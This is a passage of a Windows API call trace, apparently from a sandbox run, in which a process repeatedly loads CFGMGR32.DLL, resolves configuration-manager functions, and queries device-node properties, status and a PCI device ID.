dwHighDateTime=0x1d9eb0c)) [0230.496] SetEvent (hEvent=0x248) returned 1 [0230.499] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.499] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.500] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.500] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.500] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.500] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.500] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.501] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.501] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.501] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.501] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.501] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.502] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.502] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.502] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.502] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.502] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.502] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.502] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.503] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.503] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.503] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.503] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.503] malloc (_Size=0x18) returned 0x196ef0d1e60 [0230.503] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0230.504] malloc (_Size=0x48) returned 0x196ef0fb270 [0230.504] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6a3f6b7d, dwHighDateTime=0x1d9eb0c)) [0230.504] SetEvent (hEvent=0x248) returned 1 [0230.508] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.508] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.508] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.508] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.508] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.508] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.508] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.509] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.509] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.509] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.509] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.509] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.509] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.509] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.509] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.510] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.510] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.510] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.510] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.510] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.510] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.510] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.510] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.511] malloc (_Size=0x18) returned 0x196ef0d1c60 [0230.511] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0230.511] malloc (_Size=0x48) returned 0x196ef0fb590 [0230.511] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6a3f6b7d, dwHighDateTime=0x1d9eb0c)) [0230.511] SetEvent (hEvent=0x248) returned 1 [0230.514] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.514] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.515] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.515] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.515] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.515] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.515] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.515] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.515] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.515] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.568] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.568] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.568] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.569] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.570] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.570] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0230.570] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0230.571] malloc (_Size=0x48) returned 0x196ef0fbb30 [0230.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6a48f3a1, dwHighDateTime=0x1d9eb0c)) [0230.571] SetEvent (hEvent=0x248) returned 1 [0230.576] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.576] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.578] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.578] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.578] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.578] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.578] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.578] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.579] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.580] malloc (_Size=0x18) returned 0x196ef0d1f20 [0230.580] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0230.582] malloc (_Size=0x48) returned 0x196ef0fbae0 [0230.582] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6a4b5591, dwHighDateTime=0x1d9eb0c)) [0230.582] SetEvent (hEvent=0x248) returned 1 [0230.585] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.585] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.586] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.587] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.588] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.588] malloc (_Size=0x18) returned 0x196ef0d1e60 [0230.589] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x34, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0230.589] malloc (_Size=0x48) returned 0x196ef0fb540 [0230.589] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x6a4b5591, dwHighDateTime=0x1d9eb0c)) [0230.589] SetEvent (hEvent=0x248) returned 1 [0230.595] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.595] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.596] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.596] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.596] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.596] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.597] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.597] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.597] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.597] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.598] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.598] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.598] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.598] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.598] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.599] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.600] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.601] malloc (_Size=0x18) returned 0x196ef0d19a0 [0230.601] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x34, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0230.601] malloc (_Size=0x48) returned 0x196ef0fb360 [0230.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x6a4db8ce, dwHighDateTime=0x1d9eb0c)) [0230.602] SetEvent (hEvent=0x248) returned 1 [0230.608] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.608] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.609] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.719] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.719] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.719] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.720] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.720] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.720] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.720] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.720] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.720] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.720] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.721] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.721] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.721] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.721] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.721] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.721] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.721] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.722] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0230.722] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0230.722] malloc (_Size=0x48) returned 0x196ef0fba40 [0230.722] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6a60d3c8, dwHighDateTime=0x1d9eb0c)) [0230.723] SetEvent (hEvent=0x248) returned 1 [0230.727] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.727] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.728] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.728] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.728] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.728] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.728] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.728] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.728] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.729] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.729] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.729] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.729] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.729] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.729] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.729] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.730] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.730] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.730] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.730] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.730] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.730] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.730] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.730] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0230.731] CM_Get_Device_IDA (in: dnDevInst=0x7, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_1234&DEV_1111&SUBSYS_11001AF4&REV_02\\3&11583659&0&08") returned 0x0 [0230.731] malloc (_Size=0x48) returned 0x196ef0fbb30 [0230.731] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x6a60d3c8, dwHighDateTime=0x1d9eb0c)) [0230.731] SetEvent (hEvent=0x248) returned 1 [0230.734] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.734] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.734] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.735] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.735] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.735] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.735] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.735] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.735] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.735] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.736] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.736] GetProcAddress 